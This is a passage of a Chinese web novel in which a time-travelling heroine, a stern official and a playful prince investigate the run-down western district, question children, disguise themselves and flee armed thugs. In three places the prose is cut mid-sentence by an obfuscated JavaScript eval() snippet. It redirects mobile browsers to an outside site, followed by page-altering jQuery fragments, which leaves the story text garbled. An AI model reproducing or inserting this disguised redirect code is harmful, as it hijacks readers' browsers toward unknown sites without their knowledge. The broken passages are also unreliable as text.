直到李时丰顶着两个黑眼圈突兀地出现在他面前。 “大人,您这是……同衡王打架了?”谢筠熙被推门而入的李时丰吓了一大跳,看清楚他脸色的那一瞬,立刻联想到昨日他和赵泓玉剑拔弩张的模样,憋笑憋得就快要破功。 “殴打皇子,你是看本官不顺眼,想让本官早死吗?”李时丰黑着脸把谢筠熙提溜起来。 “我看你俩挺熟的呀,我以为熟到那种程度了……”谢筠熙对着手指,不敢抬头看李时丰。 “是啊,我俩是熟,可归根结底依旧是上下级关系好吗。”李时丰将谢筠熙往门那边一推,“快走,车马已经备好了,今日去城西要趁早。” “哇哦~”谢筠熙一边被推搡着一边发出怪声。 “本官与你还没有熟到那种程度吧?而且殴打罪臣之女,应当不会有人心存芥蒂。”李时丰的声音在谢筠熙耳边悠悠响起,温热的气息喷洒过耳廓,将谢筠熙激得一个激灵。 “诶诶诶,小女子知错了,大人不要这么对我这样一介手无缚鸡的弱女子啊~” “本官看你和赵泓玉两人挺配啊,很适合交流病情。”李时丰面无表情地把门关上。 到大理寺门口的时候,谢筠熙就已经看见了那一抹玉白的身影,赵泓玉懒散地倚在马车旁,好整以暇扇着他那把金贵的扇子看谢筠熙同李时丰一前一后走来。 “呦,二位早啊。” “王爷早。”谢筠熙搭腔,走在后面的李时丰只看了赵泓玉那搔首弄姿的模样一眼,便迅速撇开了眼。 驾马的是陆贰,这次去城西的仅四人,其他三人就是李时丰,谢筠熙同衡王。 上了马车,里面的氛围可谓是迷之尴尬,谢筠熙也不知道为什么,自打过了昨日,李时丰看她的眼神变得更加警惕,但疑惑的是,他对赵泓玉则是一如既往,只是脸更臭了些。 赵泓玉的狐狸眼望望谢筠熙,又望望李时丰,咂摸出了一些不太一样的味道,眼珠子一转,坏点子又腾空而起。 “时丰,有糖块吗?本王又馋了。” “自己拿去吃。”李时丰不知从何处又摸出包糖块来,顺势塞到赵泓玉怀里。 我的天,李时丰什么时候买的糖块?!! 谢筠熙干巴巴眼望着赵泓玉手里的那包糖,因为没有吃早膳的肚子饿得咕咕叫起来。 李时丰听见那动静,这才对谢筠熙开口:“你很饿?” 废话,没吃早饭当然饿了……我又不是机器做的…… 谢筠熙很是不满,但只能点头。 “诺,拿去垫肚子吧。”李时丰又不知从何处掏出来两个雪白的包子。 “???”赵泓玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420379|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满脸问号。 ???谢筠熙同样满脸问号,这是太阳打西边出来了吗?正常这时候李时丰不应该说一句“饿着,等到了再去买”吗。 赵泓玉虽然疑惑,但笑意更甚。 “既然买了,为何不给本王也带一份?本王说你今日为何起这么早。”赵泓玉捻着糖块塞进嘴里,不轻不重地用胳膊肘了李时丰一击。 “殿下,那今早桌子上的烧饼同豆腐花是谁的?喂狗的吗?”李时丰此刻倒是懒得顾忌什么上下级关系了,出言不逊的话张口就来。 赵泓玉一副痛心的模样:“本王只是问问时丰,不给便不给呗,竟然说出这样的话,真是痛心疾首。” 说罢单睁开一只眼睛瞧着谢筠熙的反应。 “对啊大人,怎么可以对殿下说出如此大逆不道的话,这就是你的不对了。”谢筠熙哪里肯放过这种嘲讽李时丰的机会,也是张口就来。 见谢筠熙显然没意会到自己的含义,只好默默转头继续吃他的糖块。 “老大,殿下……谢姑娘,还有一刻钟便能到城西了。”陆贰打断了马车里的对话。 “好,一会到城西之前先在荒郊让我们下来,切莫往前。”李时丰吩咐。 “是,老大。” 谢筠熙挑开马车上的遮布,窗外之景逐渐与京城的繁荣富贵脱离开来,呈现出截然不同的样貌,谢筠熙见惯了京城的纸醉金迷,如今看见不远处荒草边上东一处西一块几间升着炊烟的草房,不由有些瞠目结舌。 “城西怎会如此凋零。”谢筠熙将遮布放下,有些不解。 “此处虽然被归入京城,可到底只是接壤,同城中自然不大一样,且此处所居住的,大多是京中被降下罪罚之人,却又离不开京城生活,只能在这里苟延残喘。” 李时丰抱着自己的横刀,一板一眼地解释着。 “怎么,熙老板这是,圣心大发对这帮人起怜悯之心了?”赵泓玉的目光逐渐有些危险。 谢筠熙深知赵泓玉话中的意味,这些人本就是叛出京中规矩的人,只不过陛下仁慈没将他们赶尽杀绝,若起了怜悯之心,自然是对京中的规矩有异心…… 思及此,谢筠熙再次感受到这座看似繁盛的京城背后究竟有多少条条框框的束缚,如同一个精心装扮的鸟笼,里面的人飞不出去,外面的人却也进不来。 “殿下,自然不是怜悯,只是小女子头一回瞧见这番差别,有些惊异罢了。”谢筠熙收起目光,自然而然地答道。 “的确,这么多年来,本王还以为这里会有什么起色,如今看来,倒与从前并无差别,一样的凋败。”赵泓玉眯了眯眼,若有所思。 “咚咚咚”马车外突然响起一阵异动,将车内三人都吓了一跳。 “嘘。”李时丰举起食指放在嘴边,示意另外两人噤声。 “老大!来了一群小孩,把路给挡了!”陆贰的声音传来,李时丰摁住横刀,缓慢起身。 “先别动,本官下来看看。” 25. 稚童 李时丰下马车查看的时候,谢筠熙和赵泓玉二人就扒在遮布旁,偷偷掀起来看。 如陆贰所说的那般,果然有几个小孩挡在马车前,只是他们看上去都是面黄肌瘦,营养不良的模样,瘦骨嶙峋的,却偏生要挺直腰板,拦在路中央,一副死倔的做派。 “是城西的小孩?”谢筠熙腾出一只手拍了拍一旁正看得起劲的赵泓玉。 “嗯……应该是。”赵泓玉摸了摸下巴作思考状。 两人讨论的话语间,李时丰也同那群稚童开始了谈话。 正要摆出同往日审问犯人一般的姿态,李时丰突然想起来眼前这帮只是手无缚鸡之力的垂髫小童,一时之间有些手足无措。 他拧起的眉毛稍稍放松了一些,脑中却蓦的闪过谢筠熙同小明对话的场景,他叉起腰,用尽量温和的语气同那帮小童问道:“你们……为何要拦我们的马车?” 为首的男孩,也是这帮孩子里年岁最长的,理直气也壮地走上前,大着胆子围着李时丰转了一圈,瞧见他那把通身漆黑的横刀,却突然两眼放光。 “是姊姊说的大侠!”他兴奋地回到孩子堆里,嘴里嚷着些让同行三人不太理解的方言。 “城西和京中的语言怎的差异如此之大?” “他们又不算完完全全的京城人,自然有些不同。” “嗯……虽然听不懂,但是看他们的表情,似乎还……挺高兴?”谢筠熙学着赵泓玉的模样摩挲着下巴,定定看着那群孩子手舞足蹈的模样,以及莫名跑到孩子堆里更加无措的李时丰。 “本王竟然不知道时丰这么受小孩欢迎……奇也怪哉。” “我们要不下去吧,感觉李时丰快要变成红焖大虾了。” 谢筠熙又敲了敲赵泓玉。 “你的比喻倒是奇妙,走吧。”赵泓玉新奇地瞧着李时丰那逐渐变红的耳根,暗自偷笑。 “大侠,有坏人在我们村里,快帮我们把他们打跑吧……” “大侠,你也是从那座漂亮的城里来的吗?” “大侠……” 李时丰被吵得头疼,一句话也没听懂,他无奈地扶住额头,头一次感受到无助。 “没想到啊没想到,断案如神,不苟言笑的冷面黑罗刹如今竟然沦落到这般田地。”谢筠熙在心里“桀桀桀”笑着,嘴上也不饶人。 赵泓玉实在没忍住,刚走到李时丰和那群孩子堆跟前就破了功,“噗嗤”一声笑出来。 “出门之前就应该带包针线。”李时丰就算被群童围攻也不忘和谢筠熙互戗。 “殿下,你拿着那包糖块吗?”谢筠熙冲赵泓玉招招手,两人头与头凑到一块在离李时丰不到一丈的地方暗自嘀咕。 李时丰的视角里,谢筠熙和赵泓玉凑得极近说了些什么,就看见赵泓玉又往马车方向返回,之后便是谢筠熙得意叉腰的模样。 视线和谢筠熙撞上,她甚至十分狡黠地冲李时丰眨了眨眼。 此女又在作什么妖?赵泓玉这么听她话做什么……李时丰满头黑线。 赵泓玉速度很快,他将那包糖块拿下马车,就往谢筠熙怀中一塞,两人一对视,就知道对方没安好心。 “来来来,别围着你们的大侠了!排好队来姐姐这一人一个问题换一颗糖块要不要啊!”谢筠熙边走边举起那包糖块,将唯一听懂的一个词用到叫话里。 虽然没怎么听懂谢筠熙的话但这帮孩子的鼻子却十分诚实地嗅到了那淡淡的香甜味,见是和李时丰一同来的人,便安心冲了过去。 于是被包围的对象一下从李时丰变成了谢筠熙。 “咱们排个队好不好,按顺序来,按顺序来……”谢筠熙被他们的热情吓到,但出乎意料的是,他们却并没有想象中野蛮,听到谢筠熙的嘱托意外乖巧地自觉排成一队。 嚯,难道我还有做幼师的天赋?! 谢筠熙豁然开朗。 此刻被遗忘的另外三个男人自觉地凑到一块,蹲在不远处静待谢筠熙结束问话。 “好,首先,能告诉姐姐为什么要拦我们的马车吗?”谢筠熙为了方便她自己和那些小孩对话,边说边加上了手势。 “最近来我们这里的人,特别多……但是他们不是把我们的东西翻坏就是在那凶巴巴地问我们一些奇怪的问题,姊姊平时保护我们,她走了,我们就保护剩下的人……” 难道二皇子的人已经过这里了吗?谢筠熙心中一惊,暗叫不好。 “嗯好,拿去吃吧。”谢筠熙弯下腰毫不嫌弃地摸了摸第一个回答的小孩。 接下来谢筠熙从他们嘴里了解到的消息就更加清晰,几个比较重要的点就是: 他们口中的“姊姊”应当就是前些日子跑出来的藜秋; 而比他们一行人更早来到城西的那些人与掀了谢筠熙铺子的人是同一帮人; 小明的确在城西,并且没有被那帮人发现,不出意外应当还是在与藜秋同为贵妃旧侍的女子那儿; 而他们之所以对李时丰放松警惕是因为藜秋此前在小明被拐那事后接受过李时丰的问话,并察觉到李时丰也许是一个可以帮助他们走出困境的人…… 谢筠熙一丝一缕地理着,突然联想到了一个奇怪的点,她依旧俯下身子温声问着:“你们这从前……有叫秋芸的姊姊吗?” “这位姊姊……能不能过来一下?”那帮孩子丛里突然冒出一个很细的小声音。 谢筠熙顺着声源望去,见到的是一个小女孩,她蹲在最角落,似乎有些腼腆。 谢筠熙迈开腿自己走过去,在那孩子面前蹲下:“你有什么话要告诉姐姐吗?” “嗯……姐姐刚刚提到的人,我在娘亲嘴里听到过,不过娘亲都不让我跟别人说……” 小女孩脸蛋红扑扑的,似乎是因为谢筠熙的靠近更加害羞。 饶是谢筠熙穿越前有多么对小孩无感,也没有办法抗拒这帮乖孩子,听完她的悄悄话,谢筠熙心下了然,同那小女孩约定不会把这个消息透露给有心之人。 “这位姊姊,你好像那位常来我们这的伯伯,他也是这么温柔的。” 正当谢筠熙笑着要起身时,突然听到小女孩冒出来这样一番话。 伯伯?!一些看上去毫不相干的事如同突然长出了丝线,缠绕在一起,重重迷雾之中,似乎有什么东西即将水落石出。 谢筠熙没有声张,只是又冲那小女孩露出温和的笑容,收拾好已知的消息,朝那三个张望的人缓步走去。 “时丰啊,这样有趣的姑娘,你就收了吧。”赵泓玉重重拍了拍谢筠熙肩头,又开始犯浑。 “若日后谢相出狱,纵火案水落石出我……”李时丰停顿了一番,冲赵泓玉露出一个意味深长的笑容,“你也愿意?” 赵泓玉哪里不知道李时丰的意思,但他那双始终让人猜不透看不破的双眸里,依旧盛着笑,不紧不慢地回答:“自然……本王又不是什么棒打鸳鸯的人。” “这么说你果真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430553|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对谢今安有……”赵泓玉又岔开话题,拿手比划了一番,成功招来李时丰的一记眼刀。 “二位大人……要不下官先去看马车?”一直被忽略的陆贰听到这番话,小小的心灵显然受到了巨大的冲击,谢筠熙朝他们这里走来时,他望向谢筠熙的眼神都不对劲了起来,此刻他只想逃。 “也行,辛苦你了,陆副官。” 赵泓玉也顺手拍了拍陆贰的肩。 “是……”陆贰得到准许立刻起身慌张离开。 谢筠熙刚回来,先是遭到陆贰离去前幽怨的眼神攻击,紧接着就是赵泓玉那笑得邪恶的嘴脸以及李时丰一脸无奈的垂头叹气。 “你们这是怎么了?被虫咬了?”谢筠熙一脸莫名。 “可比虫咬严重多了,熙老板快快告诉我们你知道的事吧,好,治,病。” 谢筠熙一见赵泓玉这副语气,便知道他们一定背着自己又说了些什么见不得人的话。 她选择忽视,将自己捋清的消息一五一十告诉了他们,只是小女孩说的话除外。 赵泓玉听罢有些讶然:“二哥的动作倒是比我想象中快多了。” 李时丰却有些疑惑:“我们的消息何时泄露了?” “沐柳巷那些人以赵璟曜的行事就是宁可错杀一千,也不愿放过一个,既然找不出一个正品,估计是……”赵泓玉做了一个抹脖子的动作。 “景王怎么如此草菅人命!这样一来,我不就成帮凶了吗!”谢筠熙惊恐万分。 “放心啦,逗你玩的,你猜本王为何要派一队人跟着他们?”赵泓玉收回自己得玩笑话。 谢筠熙此刻也顾不上身份,上去就给了赵泓玉一锤。 “哇以下犯上,姑娘好大胆子,时丰,管管你的……” 李时丰警觉回头,赵泓玉才把接下来的话接上:“下属……” “管不了了,殿下这是活该。”李时丰索性装作没有看见刚刚那一幕。 “哇,你俩合伙欺负我,果然……” “好了,殿下,这里还有一块糖,吃去吧你。”谢筠熙把剩下的糖块塞进赵泓玉嘴里。 “难得和大人统一战线,喏,这块赏你了。”谢筠熙不由分说把另一块塞进了李时丰嘴里。 两个被塞糖的人双双一愣,不过赵泓玉是诧异,李时丰则是心情复杂。 方才她把手探过来时,似乎触到了本官的……舌头。 李时丰默不作声地起了一身鸡皮疙瘩。 “好了,这下你俩都说不了话了,那么我来说。我们现在的任务,应当就是进入城西吧,如今这帮孩子一来,这可跟我们的‘低调’二字完全搭不上边了。”谢筠熙指了指不远处飘着炊烟的屋子,又指了指乖乖坐在荒地上的稚童们。 “呃……终于咽下了,有水吗熙老板,噎死本王了。” 谢筠熙摘下别在腰间的水囊,随手抛给赵泓玉。 赵泓玉急吼吼喝了一口,直到糖块顺利咽下肚,这才胡乱擦了把嘴,开口回答:“无碍无碍,如今那帮人是不是还在城西?” “嗯,怎么办?” “熙老板你是不是会……易容?” 赵泓玉说着就要上手戳戳谢筠熙的脸。 还没碰到就被李时丰拿小石子弹开了。 对哦,正好我带了工具!草草画一下应该没什么问题。 谢筠熙被点醒了时沉浸在自己的思绪里,完全没有注意到一旁莫名开始呲牙咧嘴的赵泓玉。 26. 三人行 因为此刻在荒郊,谢筠熙只能草草替另外几个人化上。 赵泓玉看着一脸怨气的李时丰逐渐变得灰头土脸,样貌平庸到方圆十里都不会有人注意到,毫不留情地笑出了声:“哈哈哈哈哈哈,时丰,头一次看你这么普通,本王还真是不适应……” “别急啊,王爷,下一个就轮到你了。”谢筠熙给李时丰化着,还不忘嘲讽一旁乐不可支的赵泓玉。 李时丰的嘴角几不可察地上扬了一些,看向赵泓玉的眼神里莫名充满了挑衅。 时丰这是什么眼神? 赵泓玉气急败坏,又开始胡言乱语:“好好好,本王真是一点都说不得了,熙老板可真是护着你的大人~” 偏生那赵泓玉非得将尾字拖长,显的整句话都有些不大对劲起来。 正巧这时候谢筠熙已经替李时丰化完,她一把抓过阴阳怪气的赵泓玉,将他的肩膀狠狠按住,用不怀好意的语气威胁:“现在这张脸可是掌握在小女子手中,殿下最好不要乱动,不然小女子可不敢保证下一笔会落到什么地方。” 李时丰抱着包上布的横刀在一旁看戏,虽然脸上没什么波澜,但赵泓玉分明看出了他的幸灾乐祸。 可画笔近在眼前,杀敌一千,自损八百,赵泓玉只好闭上他那絮叨的嘴,向恶势力低头。 世界终于安静了一瞬。 待谢筠熙将两人都收拾好时,一抬头却看见方才乖乖坐着的那帮小童此刻正目不转睛地盯着谢筠熙的动作,见她结束,又三五成群地跑上去,好奇地询问谢筠熙是在干什么。 他们亲眼瞧着方才光彩夺目的两个哥哥经过谢筠熙的一番操作,变成了完全不认识的模样,纷纷惊呼“神奇”,那腼腆的小姑娘甚至轻声问着谢筠熙:“姐姐姐姐,可以教教我吗?” 谢筠熙俯下身摸了摸这群孩子的头顶,笑着回答他们的问题,并且嘱咐他们千万不要告诉别人这个秘密,见得到了承诺,谢筠熙这才夸着“乖孩子”,又起身同在一旁驻足观看许久的二人眼神示意可以进城西了。 既然决定了要低调行事,马车这种巨物自然不能进村庄,于是陆贰就自然而然被留下看守马车,另外三人则跟着那帮孩童进了城西的小村落。 谢筠熙走在城西村落的小道上,仔细观察着周遭的一切,却讶然地发现此处虽然看上去落魄,且居住在此的大多是妇女和儿童,却干净舒适,似乎是这里的人们每日打理的效果。 “奇怪,没看到这些孩子嘴里说的那帮人的踪迹啊?”赵泓玉悄悄凑近谢筠熙,小声地发表疑惑。 “先别声张,找处落脚点看看。”李时丰把赵泓玉拉到自己身边,打断谢筠熙的回应。 谢筠熙闭上了刚刚张开的嘴,打算默默把那两人甩到身后。 “姐姐,这里就是我们的……客栈了。”为首的男孩有些不好意思地摸了摸鼻子。 这个所谓的客栈,看上去比想象中更加残破一些,甚至连片招牌都没有,算不上什么“客栈”,倒像是木头堆的民房,只是这群孩子带他们来的,应当已经是城西最拿得出手的落脚处。 “哥哥姐姐,跟我来,我带你们去找阿娘。” 说话的是那个小女孩,她红着脸拉上谢筠熙的手,把她往屋里带,后赶上的赵泓玉和李时丰见状只能跟上去,弯着腰进了屋里。 身后的孩童们见他们进屋,纷纷说了“再见”,又如同鸟兽般散开。 谢筠熙打量着屋里的陈设,同她方才在心里猜测的相同,这果然不是什么“客栈”,应当只是这个小女孩的家。 屋内很狭小,处处透露着拮据,可是该有的又都有,不远处的小凳上坐了一个扎着头巾的妇女,手里正忙活着什么,年龄看上去似乎……与藜秋相仿。 谢筠熙警觉起来,似乎想到了什么。 “阿娘!我回来啦!还带回了能帮我们的哥哥姐姐!”小女孩看见自己的娘亲,撒开丫子便跑上去,将坐着的妇女抱了个满怀。 “小云,又跟那帮孩子瞎混去了,你说带回谁?”妇女宠溺地刮了刮小女孩的鼻尖,责备的话语里全然听不出严厉之词。 “就是他们呀!”叫小云的女孩指了指站在门口的三人,语气里满是兴奋。 妇女顺着小云指的方向望去,看到的却是三个脸生的人,顿时紧张起来,她从小凳上倏地站起身来,伸出一只胳膊将小云护在身后,厉声询问:“你么是什么人?来这里有什么目的?” 谢筠熙脑中飞速转着,企图想出一番合理的解释,李时丰却快她一步,把怀里抱着的布打开,通体玄黑的横刀就这么被呈现在妇人的眼下,将她看得晃了晃神。 意识到那是什么之后,妇人的紧绷的神经放松下来,狠狠松了一口气:“竟是藜姐姐嘴里的大人吗,不知诸位来到这里所为何事?” 藜秋同这里的人都说了李时丰的事吗?谢筠熙有些疑惑。 李时丰没有开口,只是盯着有些被吓到的小云眉头不展。 妇女顺着李时丰的目光看了一眼自己的孩子,俯下身子温和地揉了揉小云的发顶:“小云,你先去屋里待会好吗,娘亲与这几个哥哥姐姐有些事情要谈。” “好。”稚嫩的童音响起,小云乖巧地和三人道别,独自走到了里间的屋里。 “这位姐姐,小云真是个很好的孩子。”谢筠熙感叹道。 “是啊,想必三位前来,是为了小明的下落吧?”那妇女目送着小云离开,才转过身接话,只是刚说出口的话,就在无形中激起一片不小的波澜。 “既然姐姐这么说,那我也不遮掩了,姐姐可见过此物?”谢筠熙从怀中取出放了许久的柳叶佩,置于妇女面前。 很明显的,那妇女看见柳叶佩的第一眼就变了脸色,她看上去有些悲怆,除此之外便是震惊。 “竟在大人们手中!苍天有眼!至少没有落到别有用心之人手中……”那妇女的心中似是落下了很大的一块石头,踉跄着捂住了胸口。 “小心!”谢筠熙眼疾手快,赶紧扶住即将倒下的妇女,同时暗想:果然是藜秋说的那个人,这样一来吗,小明应当也在这里了。 “这位姐姐怎么就觉得我们不是别有用心只人呢?”赵泓玉的声音突然传来。 “听说圣上前些日子发布了圣旨说是要寻找流落民间的九皇子,于是这几日来城西的人比往日更多了些,但妾知道那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441081|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些人大多是谋利之徒,若将九皇子暴露在他们下,怕是大事不妙。” 那妇女摸了摸有些发蒙的脑袋,勉强站直了身子:“藜姐姐临走前跟我们说,若是见到大人,只管让你们进来便好。” 藜秋在这里的号召力似乎还挺强。谢筠熙想着。 “大人们这是使法子将面容掩上了吗?如此甚好。” “听姐姐的口音,似乎不是城西之人……倒像是,京中口音?”赵泓玉的眼里十分有九分探究的意味。 “回大人,妾本是宫中人,只是……因事被逐出宫罢了。”妇女的双眼有些躲闪,她总觉得问她话的这个男人有一种很熟悉的感觉,但她说不大上来。 “哦?可是柳贵妃那事?”赵泓玉一步步逼近,却被李时丰拽住了胳膊。 “稍安勿躁,殿下。” 那声“殿下”准确地传到了在场的每个人耳中,包括那妇女。 这两个人在干什么?!!说好的低调呢?被狗吃了?!!谢筠熙猛回头,不可置信地望向李时丰。 李时丰却忽视了谢筠熙的神情,转身走向那个因为过分震悚而不敢动弹的妇女:“秦妙芸,原本只是宫中的一个低位小宫女,与侍卫私通被发现,柳贵妃凭一己之力护你周全,甚至愿意收你为贴身侍女,至此,你忠心耿耿,后来柳贵妃难产,陛下大怒,要处死所有在场宫人,在谢相的劝说下,你们被贬出宫,是这样吧。” 李时丰落下最后一字时,屋里静得落针可闻,秦妙芸再也支撑不住,身子一软就跌坐到地上,连谢筠熙都没有反应过来,刚刚李时丰说了多惊天动地的一番话。 赵泓玉的脸上却没有什么波澜,他看上去冷静地有些过分,甚至没有阻住李时丰就这么堂而皇之地说出这番秘辛,只是他下意识朝谢筠熙的方向看了一眼,见她同样惊诧的神情,却微微皱了皱眉。 谢相竟真的没有同任何人说起这件事吗? 可此刻疑惑再多,也无济于事,谢筠熙想要扶起瘫坐在地上的秦妙芸,却发现她的身子仿佛悲伤了万斤重石,怎样都起不来。 妇女的眼角滑过一串泪,顺着面颊落到地上,让谢筠熙有些手足无措起来。 “秦……姐姐,你快擦擦泪,我们起来说好不好。” 秦妙芸泪眼婆娑地定定望了谢筠熙一会,却突然抓住了谢筠熙的胳膊:“若妾面前站着的是大理寺少卿和三殿下,那您……是谢相的女儿不是?” 谢筠熙听到这个简直心脏骤停:怎么回事,我与这两人同行的消息分明没有传出来,为何…… “小姐不说,妾也知道,只是一种感觉罢了……”秦妙芸见谢筠熙沉默,只是继续往下说着。 “小明在这里吗秦姐姐?” 谢筠熙只得岔开话题。 “在!只是……三位可否明日再见他……小明如今不在妾家里,昨日有人找到妾这里来,只得将小明送到到别处去了,如今那些人并未走干净……” 秦妙芸说着,声音弱下去。 “这样一来也好,正好现在可以在城西探探那帮人的虚实,殿下意下如何?”李时丰将话茬丢给赵泓玉。 赵泓玉没有拒绝,只是微微颔首。 27. 三人行(2) 既要探探虚实,三人自然不会老老实实待在屋里,李时丰的横刀实在太过醒目,只得暂时留在秦妙芸家中代为保管,嘱托了一番后三个灰头土脸的人齐齐钻出秦妙芸矮小的房屋,往城西村落间走去,这里的房屋大都是最简陋的茅草房,稍远些看去,还能看到几处田埂,应当是当地人自己犁出来的,也不知花费了多少气力。 这里自然也是没有路的,只是有几道不知道被多少人踏过的足迹留痕,谢筠熙脑中不合时宜地想起某位家喻户晓的文学大师说的话:这世上本没有路,走的人多了,也便成了路。 在理在理。谢筠熙很是认同,不由自主地加快了脚步。 “时丰啊,为什么谢今安要盯着底下这条道笑得如此诡异?”赵泓玉悄摸地跟李时丰咬耳朵。 “鬼知道,殿下问鬼去吧。”李时丰熟练地避开。 “刻薄!实在是刻薄!本王发现时丰你自从跟谢今安混久之后,说话都变得刻薄了许多,呜呼悲哉!”赵泓玉皱着脸背手做出一副恨铁不成钢的模样。 “那就请殿下在此呜呼悲哉吧,属下先走一步。” 不知为何,总觉得谢今安在赵泓玉的衬托下都变得正常了许多…… 李时丰一边腹诽,一边果断地甩开赵泓玉,走到谢筠熙前头。 赵泓玉想跟上去,却没有发现脚下纷乱的碎石堆,李时丰刚拔脚离开,下一秒他就因为不小心被碎石绊倒和原汁原味的泥土地来了个无声的亲密接触,等他狼狈起身拍打泥印时,李时丰已没了踪影。 呜呼悲哉……本王竟能沦落到如此地步……待到回京,看本王怎么跟这两个混蛋算账…… 谢筠熙正专注思考着人类社会哲学,自然没有察觉身后发生的惨案,只觉得眼前一黑,哲学散发的圣洁光辉都被硬生生挡去了半分,她不满地抬头,却发现李时丰不知何时已经走到了她跟前,两人相距不到一寸,谢筠熙差点一头撞上去,只能堪堪止住脚步。 这又是怎么了?才出来么多久就有异常了? 谢筠熙疑惑地左看右看,入目的依旧是阳光、草屋、田埂……除此之外,没看到半个法外狂徒的影子。 “怎么了大人,为何停下了。”谢筠熙不解。 “虽然我们与殿下已经面目全非,但此处地广人稀,三个人扎堆晃的话,还是容易引起不必要的怀疑,所以本官觉得还是分开行动最为妥善。”李时丰说的话有理有据,让谢筠熙无法反驳。 “就这么定吧,额……殿下呢?” 谢筠熙这时才知道回头找人,却发现“呜呼悲哉”的赵泓玉正小跑着朝自己和李时丰的方向奔来,只是……看上去腿脚有些不利索的模样。 等到他在二人跟前时,谢筠熙才发现他身上那脏乱不堪的泥印,顿时有些哭笑不得,但暂时没有忘了这人是皇室宗族,强忍着笑意问候:“殿下方才……是撞了大运吗?” 赵泓玉正恼着,要拿二人问罪,听见谢筠熙这番话,深想一番,哪能不知道谢筠熙是在说他摔个狗吃屎撞了狗屎运,竟硬生生被气笑了:“谢今安!!还有你!李时丰!你们二人竟敢欺辱本王!你们……你们……” 赵泓玉憋了半天,终于憋出来个“狼狈为奸”。 谢筠熙这下可有些慌了神:不会吧不会吧……玩笑开大了?他不会真生气了吧。 她悄悄移目瞧李时丰的反应,却见他一副“风雨不动安如山”的模样。 “属下方才提议分开行动,殿下意下如何?” 自动过滤这一块,还得是李时丰。谢筠熙敬佩地望向李时丰,在心底抚掌称是。 “本王不同意!”赵泓玉似乎正在气头上,想都没想就拒绝了李时丰的提议。 可偏偏今日一切似乎都不想顺赵泓玉的意,他话音刚落,就有一帮不知道从哪冒出来的人,虽然也穿着寻常便服,却个个五大三粗,与城西的老弱妇童形成鲜明对比。 “不好,是我之前在店里见过的那帮人!”谢筠熙小声提醒离自己最近的李时丰。 “公子,这下可由不得你同不同意了。” 李时丰称呼的转变让赵泓玉心中警铃大作,他立刻收起自己佯怒的模样,腿脚也利索了立刻挺直腰板,同另外二人点点头,做了个“跑”的手势。 那帮人原本只是想要看看是何人在此喧哗,见那灰头土脸行为诡异的三人顿时起了疑心,这时又看到最脏的那人做了个奇怪的手势,立刻察觉到不对劲,一帮人呼啦就围了上去。 赵泓玉做出这个举动的时候,李时丰和谢筠熙已经反应过来,三人看准空缺,朝不同的方向飞跑,把那帮人弄得迟疑了一瞬,但很快他们分成三队轮流追上去。 不知为何这一幕有些似曾相识……谢筠熙一边跑着,一边觉得疑惑。 香楼!我靠!怎么就没想到呢!当时追我的那群小厮!之前和藜秋跑太快了没看清,这分明就是那帮人! 谢筠熙的心脏剧烈地跳动着,觉得浑身的血液都聚到了大脑,城西的遮挡物实在是太少,贸然跑进居民家中又怕给他们造成不必要的麻烦,谢筠熙很着急,但也只能边跑边观望藏身之处。 眼见着身后那帮大汉越追越近,谢筠熙情急之下跑到田埂之间,趁追她的人还没反应过来,直冲田埂中央那堆草垛猛地一扎,也不管三七二十一就把自己往里面塞,草根扎得谢筠熙生疼,不用看也知道肯定被划了不知多少个口子,不过此刻谢筠熙才顾不上这些,作为二十一世纪雌狮一般生猛的女人,她抬起伤痕累累的手把被自己冲散的草堆重新填上,咬牙等待着外面那帮人的离去。 那帮人见谢筠熙在田埂中凭空消失,纷纷停下脚步,在这片空旷的场地警惕地四处巡视着,风吹过田间,谢筠熙一动也不敢动,生怕露出破绽。 偌大的田埂间,那几处草垛格外扎眼,那帮人果然起了疑心,小心翼翼朝谢筠熙的方向走来。 谢筠熙在缝隙之间看见了他们的身影,手心开始出汗,她上下摸索着是否有可以逃生的工具,但似乎什么都没有找到。 眼见着那帮人一点点逼近,谢筠熙紧张得大气也不敢喘。 他们粗暴地检查着那些草垛,依旧是那副强盗般的做派,城西居民摞好的草垛就这样被他们全部用刀挑散,眼见着就要到谢筠熙那一摞,一人正扬刀要劈下,谢筠熙有些绝望地闭上了双目,说时迟那时快,一柄从天而降的横刀飞来,唰地将那人钉在地上,一时之间枯草堆里溢进浓重的血腥味,熟悉的一幕涌入谢筠熙的脑中。 李时丰!他是怎么找到这里来的?! 一时之间,李时丰在谢筠熙心中的形象暂时的地上升了一个层次,变得有些神圣起来:太靠谱了太靠谱了,有如此靠谱的合作伙伴,小女子这辈子都值了。 “什么人!”同伴倒地喷血,其他人都被吓了一跳,立刻握住手中的刀作防御姿态。 